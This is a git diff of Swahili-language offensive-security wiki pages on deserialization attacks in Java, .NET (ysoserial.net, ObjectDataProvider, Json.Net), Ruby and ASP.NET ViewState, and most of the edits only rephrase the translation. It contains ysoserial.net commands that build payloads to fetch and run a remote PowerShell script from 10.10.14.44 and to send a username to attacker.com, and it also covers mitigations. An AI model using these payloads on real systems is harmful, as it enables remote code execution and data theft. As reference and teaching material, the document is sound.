@ -495,9 +495,9 @@ Java inatumia serialization nyingi kwa madhumuni mbalimbali kama:
- **HTTP requests**: Serialization inatumika sana katika usimamizi wa vigezo, ViewState, cookies, nk.
- **RMI (Remote Method Invocation)**: Protokali ya Java RMI, ambayo inategemea kabisa serialization, ni msingi wa mawasiliano ya mbali katika programu za Java.
- **RMI over HTTP**: Njia hii inatumika kawaida na programu za wavuti za Java zenye mteja mzito, zikitumika serialization kwa mawasiliano yote ya vitu.
- **RMI juu ya HTTP**: Njia hii inatumika kawaida na programu za wavuti za mteja mzito za Java, zikitumika serialization kwa mawasiliano yote ya vitu.
- **JMX (Java Management Extensions)**: JMX inatumia serialization kwa kutuma vitu kupitia mtandao.
- **Protokali za Kijadi**: Katika Java, mazoea ya kawaida yanahusisha usafirishaji wa vitu vya Java safi, ambavyo vitadhihirishwa katika mifano ijayo ya exploit.
- **Protokali za Kijadi**: Katika Java, mazoea ya kawaida yanahusisha usafirishaji wa vitu safi vya Java, ambayo itaonyeshwa katika mifano ijayo ya exploit.
### Kuzuia
@ -512,7 +512,7 @@ private transient double margin; // declared transient
```
#### Epuka Serialization ya darasa ambalo linahitaji kutekeleza Serializable
Katika hali ambapo **vitu fulani vinapaswa kutekeleza interface ya `Serializable`** kutokana na hierarchi ya darasa, kuna hatari ya deserialization isiyo ya makusudi. Ili kuzuia hili, hakikisha vitu hivi havina uwezo wa deserializable kwa kufafanua njia ya `final` `readObject()` ambayo daima inatupa kivunjaji, kama inavyoonyeshwa hapa chini:
Katika hali ambapo **vitu fulani vinapaswa kutekeleza interface ya `Serializable`** kutokana na mfuatano wa darasa, kuna hatari ya deserialization isiyo ya makusudi. Ili kuzuia hili, hakikisha vitu hivi havina uwezo wa deserializable kwa kufafanua njia ya `final` `readObject()` ambayo kila wakati inatupa kivunjaji, kama inavyoonyeshwa hapa chini:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -525,7 +525,7 @@ throw new java.io.IOException("Cannot be deserialized");
- Msimbo wa deserialization uko chini ya udhibiti wako.
- Madarasa yanayotarajiwa kwa deserialization yanajulikana.
Pitia **`resolveClass()`** ili kupunguza deserialization kwa madarasa yaliyoruhusiwa tu. Hii inazuia deserialization ya darasa lolote isipokuwa yale yaliyoruhusiwa wazi, kama katika mfano ufuatao unaopunguza deserialization kwa darasa la `Bicycle` tu:
Pitia **`resolveClass()`** ili kupunguza deserialization kwa madarasa yaliyoruhusiwa tu. Hii inazuia deserialization ya darasa lolote isipokuwa yale yaliyoruhusiwa wazi, kama katika mfano ufuatao unaopunguza deserialization kwa darasa la `Bicycle` pekee:
```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
@ -556,7 +556,7 @@ Angalia mfano katika [rO0 by Contrast Security](https://github.com/Contrast-Secu
**Kutekeleza Filters za Serialization**: Java 9 ilianzisha filters za serialization kupitia **`ObjectInputFilter`** interface, ikitoa mekanizma yenye nguvu ya kuweka vigezo ambavyo vitu vilivyohifadhiwa vinapaswa kukutana navyo kabla ya deserialization. Filters hizi zinaweza kutumika kwa kiwango cha jumla au kwa kila mtiririko, zikitoa udhibiti wa kina juu ya mchakato wa deserialization.
Ili kutumia filters za serialization, unaweza kuweka filter ya jumla inayotumika kwa shughuli zote za deserialization au kuikamilisha kwa njia ya kidinamik kwa mtiririko maalum. Kwa mfano:
Ili kutumia filters za serialization, unaweza kuweka filter ya jumla inayotumika kwa shughuli zote za deserialization au kuisawazisha kwa njia ya kidinamik kwa mtiririko maalum. Kwa mfano:
```java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -590,7 +590,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
## JNDI Injection & log4Shell
Pata kile ambacho ni **JNDI Injection, jinsi ya kukitumia kupitia RMI, CORBA & LDAP na jinsi ya kutumia log4shell** (na mfano wa vuln hii) katika ukurasa ufuatao:
Pata kile ambacho ni **JNDI Injection, jinsi ya kulitumia kupitia RMI, CORBA & LDAP na jinsi ya kutumia log4shell** (na mfano wa vuln hii) katika ukurasa ufuatao:
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Message Service
> API ya **Java Message Service** (**JMS**) ni API ya Java inayolenga ujumbe kwa kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kushughulikia tatizo la mtengenezaji-mtumiaji. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilifafanuliwa na spesifikesheni iliyotengenezwa katika Sun Microsystems, lakini ambayo tangu wakati huo imeongozwa na Mchakato wa Jamii ya Java. Ni kiwango cha ujumbe kinachoruhusu vipengele vya programu vinavyotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyosambazwa kuwa na uhusiano wa kulegea, wa kuaminika, na wa asynchronic. (Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> API ya **Java Message Service** (**JMS**) ni API ya Java inayolenga ujumbe kwa ajili ya kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kushughulikia tatizo la mtengenezaji-mtumiaji. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilifafanuliwa na spesifikesheni iliyotengenezwa katika Sun Microsystems, lakini ambayo tangu wakati huo imeongozwa na Java Community Process. Ni kiwango cha ujumbe kinachoruhusu vipengele vya programu vinavyotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyosambazwa kuwa na uhusiano wa kulegea, wa kuaminika, na wa asynchronic. (Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Bidhaa
@ -610,10 +610,10 @@ Kuna bidhaa kadhaa zinazotumia middleware hii kutuma ujumbe:
### Utekelezaji
Hivyo, kimsingi kuna **huduma nyingi zinazotumia JMS kwa njia hatari**. Kwa hivyo, ikiwa una **privilege za kutosha** kutuma ujumbe kwa huduma hizi (kawaida utahitaji akreditif halali) unaweza kuwa na uwezo wa kutuma **vitu vya hatari vilivyohifadhiwa ambavyo vitatafsiriwa na mtumiaji/mwandikaji**.\
Hivyo, kimsingi kuna **huduma nyingi zinazotumia JMS kwa njia hatari**. Kwa hivyo, ikiwa una **privileges za kutosha** kutuma ujumbe kwa huduma hizi (kawaida utahitaji akreditif za halali) unaweza kuwa na uwezo wa kutuma **vitu vya hatari vilivyohifadhiwa ambavyo vitatafsiriwa na mtumiaji/mwandikaji**.\
Hii inamaanisha kwamba katika utekelezaji huu **wateja wote watakaotumia ujumbe huo wataambukizwa**.
Unapaswa kukumbuka kwamba hata kama huduma ina udhaifu (kwa sababu inatafsiri kwa usalama maoni ya mtumiaji) bado unahitaji kutafuta gadgets halali ili kutumia udhaifu huo.
Unapaswa kukumbuka kwamba hata kama huduma ina udhaifu (kwa sababu inatafsiri kwa usalama usio salama pembejeo za mtumiaji) bado unahitaji kutafuta gadgets halali ili kutumia udhaifu huo.
Zana [JMET](https://github.com/matthiaskaiser/jmet) ilitengenezwa ili **kuunganisha na kushambulia huduma hizi kwa kutuma vitu kadhaa vya hatari vilivyohifadhiwa kwa kutumia gadgets zinazojulikana**. Hizi exploit zitaweza kufanya kazi ikiwa huduma bado ina udhaifu na ikiwa yoyote ya gadgets zilizotumika iko ndani ya programu iliyo hatarini.
@ -639,7 +639,7 @@ Kipaumbele kinapaswa kuwa kwa serializers zinazoruhusu aina kuamuliwa na variabl
#### BlackBox
Utafutaji unapaswa kulenga mfuatano wa string iliyokodishwa ya Base64 **AAEAAAD/////** au muundo wowote wa kufanana ambao unaweza kupitia deserialization upande wa seva, ukitoa udhibiti juu ya aina itakayokuwa ikitafsiriwa. Hii inaweza kujumuisha, lakini si tu, muundo wa **JSON** au **XML** unaoonyesha `TypeObject` au `$type`.
Utafutaji unapaswa kulenga mfuatano wa string iliyokodishwa kwa Base64 **AAEAAAD/////** au muundo wowote wa kufanana ambao unaweza kupitia deserialization upande wa seva, ukitoa udhibiti juu ya aina itakayokuwa ikitafsiriwa. Hii inaweza kujumuisha, lakini si tu, muundo wa **JSON** au **XML** unaoonyesha `TypeObject` au `$type`.
### ysoserial.net
@ -650,8 +650,8 @@ Ikiwa unataka kujifunza kuhusu **jinsi ysoserial.net inavyounda exploit zake** u
Chaguzi kuu za **ysoserial.net** ni: **`--gadget`**, **`--formatter`**, **`--output`** na **`--plugin`.**
- **`--gadget`** inatumika kuashiria gadget ya kutumia (onyesha darasa/funzo ambalo litakabiliwa wakati wa deserialization ili kutekeleza amri).
- **`--formatter`**, inatumika kuashiria njia ya kuhifadhi exploit (unahitaji kujua ni maktaba gani inayotumika kwenye back-end kutafsiri payload na utumie ile ile kuhifadhi).
- **`--output`** inatumika kuashiria ikiwa unataka exploit katika **raw** au **base64** iliyokodishwa. _Kumbuka kwamba **ysoserial.net** itakuwa **inaandika** payload kwa kutumia **UTF-16LE** (encoding inayotumika kwa default kwenye Windows) hivyo ikiwa unapata raw na unaiandika tu kutoka kwenye console ya linux unaweza kuwa na matatizo ya **ufanisi wa encoding** ambayo yatakwamisha exploit kufanya kazi ipasavyo (katika sanduku la HTB JSON payload ilifanya kazi katika UTF-16LE na ASCII lakini hii haimaanishi itafanya kazi kila wakati)._
- **`--formatter`**, inatumika kuashiria njia ya kuhifadhi exploit (unahitaji kujua ni maktaba gani inayotumika kwenye back-end kutafsiri payload na utumie ile ile kuihifadhi)
- **`--output`** inatumika kuashiria ikiwa unataka exploit katika **raw** au **base64** iliyokodishwa. _Kumbuka kwamba **ysoserial.net** itakuwa **inakodisha** payload kwa kutumia **UTF-16LE** (encoding inayotumika kwa chaguo-msingi kwenye Windows) hivyo ikiwa unapata raw na unakodisha tu kutoka kwenye console ya linux unaweza kuwa na baadhi ya **matatizo ya ulinganifu wa encoding** ambayo yatakwamisha exploit kufanya kazi ipasavyo (katika sanduku la HTB JSON payload ilifanya kazi katika UTF-16LE na ASCII lakini hii haimaanishi itafanya kazi kila wakati)._
- **`--plugin`** ysoserial.net inasaidia plugins kutengeneza **exploits kwa mifumo maalum** kama ViewState
#### Zaidi ya vigezo vya ysoserial.net
@ -660,7 +660,7 @@ Chaguzi kuu za **ysoserial.net** ni: **`--gadget`**, **`--formatter`**, **`--out
- `--raf -f Json.Net -c "chochote"` Hii itaonyesha gadgets zote zinazoweza kutumika na formatter iliyotolewa (`Json.Net` katika kesi hii)
- `--sf xml` unaweza **kuonyesha gadget** (`-g`) na ysoserial.net itatafuta formatters zinazojumuisha "xml" (bila kujali herufi kubwa au ndogo)
**Mifano ya ysoserial** ya kuunda exploits:
**Mifano ya ysoserial** kuunda exploits:
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -679,7 +679,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** pia ina **kipengele cha kuvutia sana** ambacho husaidia kuelewa vizuri jinsi kila exploit inavyofanya kazi: `--test`\
Ikiwa utaashiria kipengele hiki **ysoserial.net** itajaribu **exploit kwa ndani,** hivyo unaweza kujaribu kama payload yako itafanya kazi vizuri.\
Ikiwa utaashiria kipengele hiki **ysoserial.net** itajaribu **exploit kwa ndani,** hivyo unaweza kujaribu kama payload yako itafanya kazi ipasavyo.\
Kipengele hiki ni muhimu kwa sababu ukikagua msimbo utapata vipande vya msimbo kama ifuatavyo (kutoka [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
@ -710,18 +710,18 @@ Kwa hiyo, **`--test`** parameter inatupa uwezo wa kuelewa **ni sehemu zipi za ms
### ViewState
Angalia [hii POST kuhusu **jinsi ya kujaribu kushambulia parameter ya \_\_ViewState ya .Net**](exploiting-__viewstate-parameter.md) ili **kutekeleza msimbo wa kiholela.** Ikiwa **tayari unajua siri** zinazotumiwa na mashine ya mwathirika, [**soma hii post kujua jinsi ya kutekeleza msimbo**](exploiting-__viewstate-knowing-the-secret.md)**.**
Angalia [hii POST kuhusu **jinsi ya kujaribu kuhamasisha parameter ya \_\_ViewState ya .Net**](exploiting-__viewstate-parameter.md) ili **kutekeleza msimbo wowote.** Ikiwa **tayari unajua siri** zinazotumiwa na mashine ya mwathirika, [**soma hii post kujua jinsi ya kutekeleza msimbo**](exploiting-__viewstate-knowing-the-secret.md)**.**
### Prevention
### Kuzuia
Ili kupunguza hatari zinazohusiana na deserialization katika .Net:
- **Epuka kuruhusu mitiririko ya data kufafanua aina zao za vitu.** Tumia `DataContractSerializer` au `XmlSerializer` inapowezekana.
- **Kwa `JSON.Net`, weka `TypeNameHandling` kuwa `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **Epuka kutumia `JavaScriptSerializer` na `JavaScriptTypeResolver`.**
- **Punguza aina ambazo zinaweza ku-deserialize**, ukielewa hatari zilizopo na aina za .Net, kama `System.IO.FileInfo`, ambayo inaweza kubadilisha mali za faili za seva, na hivyo kusababisha mashambulizi ya kukatiza huduma.
- **Kuwa makini na aina zenye mali hatari**, kama `System.ComponentModel.DataAnnotations.ValidationException` yenye mali yake ya `Value`, ambayo inaweza kutumika vibaya.
- **Dhibiti kwa usalama uundaji wa aina** ili kuzuia washambuliaji kuathiri mchakato wa deserialization, na kufanya hata `DataContractSerializer` au `XmlSerializer` kuwa hatarini.
- **Punguza aina ambazo zinaweza kuhamasishwa**, ukielewa hatari zilizopo na aina za .Net, kama `System.IO.FileInfo`, ambayo inaweza kubadilisha mali za faili za seva, na hivyo kusababisha mashambulizi ya kukatiza huduma.
- **Kuwa makini na aina zenye mali hatari**, kama `System.ComponentModel.DataAnnotations.ValidationException` yenye mali yake ya `Value`, ambayo inaweza kutumiwa vibaya.
- **Dhibiti kwa usalama uanzishaji wa aina** ili kuzuia washambuliaji kuathiri mchakato wa deserialization, na hivyo kufanya hata `DataContractSerializer` au `XmlSerializer` kuwa hatarini.
- **Tekeleza udhibiti wa orodha nyeupe** kwa kutumia `SerializationBinder` maalum kwa `BinaryFormatter` na `JSON.Net`.
- **Kuwa na habari kuhusu vifaa vya deserialization visivyo salama vilivyojulikana** ndani ya .Net na kuhakikisha deserializers hazianzishi aina kama hizo.
- **Tenga msimbo unaoweza kuwa hatari** kutoka kwa msimbo wenye ufikiaji wa mtandao ili kuepuka kufichua vifaa vilivyojulikana, kama `System.Windows.Data.ObjectDataProvider` katika programu za WPF, kwa vyanzo vya data visivyoaminika.
@ -737,7 +737,7 @@ Ili kupunguza hatari zinazohusiana na deserialization katika .Net:
Katika Ruby, serialization inarahisishwa na mbinu mbili ndani ya maktaba ya **marshal**. Mbinu ya kwanza, inayojulikana kama **dump**, inatumika kubadilisha kitu kuwa mtiririko wa byte. Mchakato huu unajulikana kama serialization. Kinyume chake, mbinu ya pili, **load**, inatumika kurudisha mtiririko wa byte kuwa kitu, mchakato unaojulikana kama deserialization.
Ili kulinda vitu vilivyotolewa, **Ruby inatumia HMAC (Hash-Based Message Authentication Code)**, kuhakikisha uadilifu na ukweli wa data. Funguo inayotumika kwa ajili hii inahifadhiwa katika moja ya maeneo kadhaa yanayowezekana:
Ili kulinda vitu vilivyohifadhiwa, **Ruby inatumia HMAC (Hash-Based Message Authentication Code)**, kuhakikisha uaminifu na ukweli wa data. Funguo inayotumika kwa ajili hii inahifadhiwa katika moja ya maeneo kadhaa yanayowezekana:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
@ -825,8 +825,8 @@ Kwa mfano, kuita eval na kisha msimbo wa ruby kama parameter ya pili kutaruhusu
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
Zaidi ya hayo, ikiwa tu parameter moja ya **`.send()`** inasimamiwa na mshambuliaji, kama ilivyotajwa katika andiko la awali, inawezekana kuita njia yoyote ya kitu ambacho **hakihitaji hoja** au ambazo hoja zake zina **thamani za chaguo-msingi**.\
Kwa hili, inawezekana kuhesabu njia zote za kitu ili **kupata baadhi ya njia za kuvutia ambazo zinakidhi mahitaji hayo**.
Zaidi ya hayo, ikiwa tu parameter moja ya **`.send()`** inasimamiwa na mshambuliaji, kama ilivyotajwa katika andiko la awali, inawezekana kuita njia yoyote ya kitu ambacho **hakihitaji hoja** au ambazo hoja zake zina **thamani za default**.\
Kwa hili, inawezekana kuhesabu njia zote za kitu ili **kupata baadhi ya njia za kuvutia zinazokidhi mahitaji hayo**.
```ruby
<Object>.send('<user_input>')
@ -854,7 +854,7 @@ Angalia jinsi inaweza kuwa inawezekana [kuharibu darasa la Ruby na kulitumia hap
### Ruby _json pollution
Wakati wa kutuma mwili baadhi ya thamani zisizoweza kuhesabiwa kama array zitaongezwa kwenye ufunguo mpya unaoitwa `_json`. Hata hivyo, inawezekana kwa mshambuliaji pia kuweka katika mwili thamani inayoitwa `_json` yenye thamani za kiholela anazotaka. Kisha, ikiwa backend kwa mfano inakagua ukweli wa parameter lakini pia inatumia parameter `_json` kufanya kitendo fulani, inaweza kufanyika kupita idhini.
Wakati wa kutuma mwili baadhi ya thamani zisizoweza kuhesabiwa kama array zitaongezwa kwenye ufunguo mpya unaoitwa `_json`. Hata hivyo, inawezekana kwa mshambuliaji pia kuweka katika mwili thamani inayoitwa `_json` yenye thamani za kiholela anazotaka. Kisha, ikiwa backend kwa mfano inakagua ukweli wa parameter lakini kisha pia inatumia parameter `_json` kufanya kitendo fulani, inaweza kufanyika kupita idhini.
Angalia maelezo zaidi katika [ukurasa wa Ruby _json pollution](ruby-_json-pollution.md).
@ -888,7 +888,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
Katika kesi ya kujaribu kutumia Oj, ilikuwa inawezekana kupata darasa la gadget ambalo ndani ya kazi yake ya `hash` litaita `to_s`, ambayo itaita spec, ambayo itaita fetch_path ambayo ilikuwa inawezekana kuifanya ipate URL ya nasibu, ikitoa detector bora wa aina hizi za udhaifu wa deserialization zisizo na usafi.
Katika kesi ya kujaribu kutumia Oj, ilikuwapo uwezekano wa kupata darasa la gadget ambalo ndani ya kazi yake ya `hash` litaita `to_s`, ambayo itaita spec, ambayo itaita fetch_path ambayo ilikuwapo uwezekano wa kufanya iweze kupata URL ya nasibu, ikitoa detector bora wa aina hizi za udhaifu wa deserialization zisizo na usafi.
```json
{
"^o": "URI::HTTP",

View File

@ -6,9 +6,9 @@ Post hii inajitolea kwa **kuelewa jinsi gadget ya ObjectDataProvider inavyotumiw
## Gadget ya ObjectDataProvider
Kutoka kwenye hati: _darasa la ObjectDataProvider linafungia na kuunda kitu ambacho unaweza kutumia kama chanzo cha uhusiano_.\
Ndio, ni maelezo ya ajabu, hivyo hebu tuone ni nini darasa hili lina ambacho ni cha kuvutia sana: Darasa hili linaruhusu **kufunga kitu chochote**, kutumia _**MethodParameters**_ ili **kweka vigezo vyovyote,** na kisha **kutumia MethodName kuita kazi yoyote** ya kitu chochote kilichotangazwa kwa kutumia vigezo vyovyote.\
Hivyo, **kitu** hicho kitafanya **kazi** na **vigezo wakati kinapokuwa kinadeserialized.**
Kutoka kwenye nyaraka: _darasa la ObjectDataProvider linafungua na kuunda kitu ambacho unaweza kutumia kama chanzo cha uhusiano_.\
Ndio, ni maelezo ya ajabu, hivyo hebu tuone ni nini darasa hili lina ambacho ni cha kuvutia sana: Darasa hili linaruhusu **kufunga kitu chochote**, kutumia _**MethodParameters**_ kuweka **vigezo vyovyote,** na kisha **kutumia MethodName kuita kazi yoyote** ya kitu chochote kilichotangazwa kwa kutumia vigezo vyovyote.\
Hivyo, **kitu** chochote kitafanya **kazi** na **vigezo wakati kinapokuwa kinadeserialized.**
### **Jinsi hii inavyowezekana**
@ -85,7 +85,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
Katika [ukurasa rasmi](https://www.newtonsoft.com/json) inaonyeshwa kwamba maktaba hii inaruhusu **Kuhifadhi na kufungua tena kitu chochote cha .NET kwa kutumia JSON serializer yenye nguvu ya Json.NET**. Hivyo, ikiwa tunaweza **kufungua tena gadget ya ObjectDataProvider**, tunaweza kusababisha **RCE** kwa kufungua tena kitu.
Katika [ukurasa rasmi](https://www.newtonsoft.com/json) inaonyeshwa kwamba maktaba hii inaruhusu **Kuhifadhi na kufungua tena kitu chochote cha .NET kwa kutumia serializer wa JSON wenye nguvu wa Json.NET**. Hivyo, ikiwa tunaweza **kufungua tena gadget ya ObjectDataProvider**, tunaweza kusababisha **RCE** kwa kufungua tena kitu.
### Mfano wa Json.Net
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
Katika hii code unaweza **kujaribu exploit**, endesha tu na utaona kwamba calc inatekelezwa:
Katika hii nambari unaweza **kujaribu exploit**, endesha tu na utaona kwamba calc inatekelezwa:
```java
using System;
using System.Text;

View File

@ -22,9 +22,9 @@ Taarifa za ViewState zinaweza kuainishwa kwa mali zifuatazo au mchanganyiko wao:
Picha ni jedwali linaloelezea usanidi tofauti wa ViewState katika ASP.NET kulingana na toleo la mfumo wa .NET. Hapa kuna muhtasari wa maudhui:
1. Kwa **toleo lolote la .NET**, wakati MAC na Ufunguo zimezimwa, MachineKey haitahitajika, na hivyo hakuna njia inayofaa ya kuibaini.
2. Kwa **matoleo chini ya 4.5**, ikiwa MAC imewezeshwa lakini Ufunguo haujawekwa, MachineKey inahitajika. Njia ya kuibaini MachineKey inaitwa "Blacklist3r."
2. Kwa **matoleo chini ya 4.5**, ikiwa MAC imewezeshwa lakini Ufunguo haujawekwa, MachineKey inahitajika. Njia ya kuibaini MachineKey inajulikana kama "Blacklist3r."
3. Kwa **matoleo chini ya 4.5**, bila kujali ikiwa MAC imewezeshwa au la, ikiwa Ufunguo umewezeshwa, MachineKey inahitajika. Kuibaini MachineKey ni kazi ya "Blacklist3r - Maendeleo ya Baadaye."
4. Kwa **matoleo 4.5 na juu**, mchanganyiko wote wa MAC na Ufunguo (iwe zote ni za kweli, au moja ni ya kweli na nyingine ni ya uongo) inahitaji MachineKey. MachineKey inaweza kuibainishwa kwa kutumia "Blacklist3r."
4. Kwa **matoleo 4.5 na juu**, mchanganyiko wote wa MAC na Ufunguo (iwe zote ni za kweli, au moja ni ya kweli na nyingine ni ya uongo) yanahitaji MachineKey. MachineKey inaweza kuibainishwa kwa kutumia "Blacklist3r."
### Mfano wa Mtihani: 1 EnableViewStateMac=false na viewStateEncryptionMode=false
@ -34,15 +34,15 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**Kutambua Sifa za ViewState**
Unaweza kujaribu kutambua ikiwa ViewState inalindwa na MAC kwa kunasa ombi lililo na parameter hii kwa kutumia BurpSuite. Ikiwa Mac haitumiki kulinda parameter hiyo unaweza kuitumia kwa kutumia [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
Unaweza kujaribu kutambua ikiwa ViewState ina ulinzi wa MAC kwa kukamata ombi lililo na parameter hii kwa kutumia BurpSuite. Ikiwa Mac haijatumiwa kulinda parameter hiyo unaweza kuitumia kwa kutumia [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Test case 1.5 Kama Test case 1 lakini cookie ya ViewState haitumwi na seva
### Test case 1.5 Kama Test case 1 lakini cookie ya ViewState haijatumwa na seva
Wakandarasi wanaweza **kuondoa ViewState** ili isiwe sehemu ya Ombi la HTTP (mtumiaji hatapokea cookie hii).\
Mtu anaweza kudhani kwamba ikiwa **ViewState** haipo, utekelezaji wao ni **salama** kutokana na udhaifu wowote unaoweza kutokea na deserialization ya ViewState.\
Hata hivyo, hiyo si hali halisi. Ikiwa tuta **ongeza parameter ya ViewState** kwenye mwili wa ombi na kutuma payload yetu iliyosimbwa iliyoundwa kwa kutumia ysoserial, bado tutakuwa na uwezo wa kufikia **utendaji wa msimbo** kama ilivyoonyeshwa katika **Case 1**.
Hata hivyo, hiyo si hali halisi. Ikiwa tuna **ongeza parameter ya ViewState** kwenye mwili wa ombi na kutuma payload yetu iliyosajiliwa iliyoundwa kwa kutumia ysoserial, bado tutakuwa na uwezo wa kufikia **utendaji wa msimbo** kama inavyoonyeshwa katika **Case 1**.
### Test Case: 2 .Net < 4.5 na EnableViewStateMac=true & ViewStateEncryptionMode=false
@ -96,23 +96,23 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp
```
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
Ikiwa umefanikiwa na funguo imepatikana, unaweza kuendelea na shambulio ukitumia [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
Ikiwa umebahatika na funguo imepatikana, unaweza kuendelea na shambulio ukitumia [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
Katika hali ambapo parameter ya `_VIEWSTATEGENERATOR` **haitumwi** na seva hu **hitaji** kutoa parameter ya `--generator` **bali hizi**:
Katika hali ambapo parameter `_VIEWSTATEGENERATOR` **haitumwi** na seva hu **hitaji** kutoa parameter `--generator` **bali hizi**:
```bash
--apppath="/" --path="/hello.aspx"
```
### Test Case: 3 .Net < 4.5 na EnableViewStateMac=true/false na ViewStateEncryptionMode=true
Katika hii haijulikani kama parameter inalindwa na MAC. Basi, thamani hiyo labda imeandikwa kwa siri na utahitaji **Machine Key ili kuandika payload yako** ili kutumia udhaifu huo.
Katika hii haijulikani kama parameter inalindwa na MAC. Basi, thamani hiyo labda imefungwa na **utahitaji Machine Key ili kufunga payload yako** ili kutumia udhaifu huo.
**Katika kesi hii** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **moduli iko katika maendeleo...**
**Kabla ya .NET 4.5**, ASP.NET inaweza **kubali** \_`__VIEWSTATE`\_parameter **isiyoandikwa kwa siri** kutoka kwa watumiaji **hata** kama **`ViewStateEncryptionMode`** imewekwa kuwa _**Daima**_. ASP.NET **inaangalia tu** **uwepo** wa **`__VIEWSTATEENCRYPTED`** parameter katika ombi. **Ikiwa mtu atafuta parameter hii, na kutuma payload isiyoandikwa kwa siri, bado itashughulikiwa.**
**Kabla ya .NET 4.5**, ASP.NET inaweza **kubali** \_`__VIEWSTATE`\_parameter **isiyo na usimbuaji** kutoka kwa watumiaji **hata** kama **`ViewStateEncryptionMode`** imewekwa kuwa _**Daima**_. ASP.NET **inaangalia tu** **uwepo** wa **`__VIEWSTATEENCRYPTED`** parameter katika ombi. **Ikiwa mtu atafuta parameter hii, na kutuma payload isiyo na usimbuaji, bado itashughulikiwa.**
Hivyo basi ikiwa washambuliaji wataweza kupata Machinekey kupitia udhaifu mwingine kama vile file traversal, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) amri iliyotumika katika **Kesi 2**, inaweza kutumika kufanya RCE kwa kutumia udhaifu wa deserialization wa ViewState.
@ -124,11 +124,11 @@ Tunaweza kulazimisha matumizi ya mfumo wa ASP.NET kwa kubainisha parameter iliyo
```xml
<httpRuntime targetFramework="4.5" />
```
Mbadala, hii inaweza kufanywa kwa kubainisha chaguo lililo hapa chini ndani ya kipimo cha `machineKey` cha faili la web.config.
Vinginevyo, hii inaweza kufanywa kwa kubainisha chaguo lililo hapa chini ndani ya parameter ya `machineKey` ya faili la web.config.
```bash
compatibilityMode="Framework45"
```
Kama ilivyo katika ya awali, **thamani imefungwa.** Kisha, ili kutuma **payload halali, mshambuliaji anahitaji funguo.**
Kama ilivyo katika awali, **thamani imefungwa.** Kisha, ili kutuma **payload halali mshambuliaji anahitaji funguo.**
Unaweza kujaribu kutumia [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)kutafuta funguo inayotumika:
```
@ -147,7 +147,7 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6
```
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
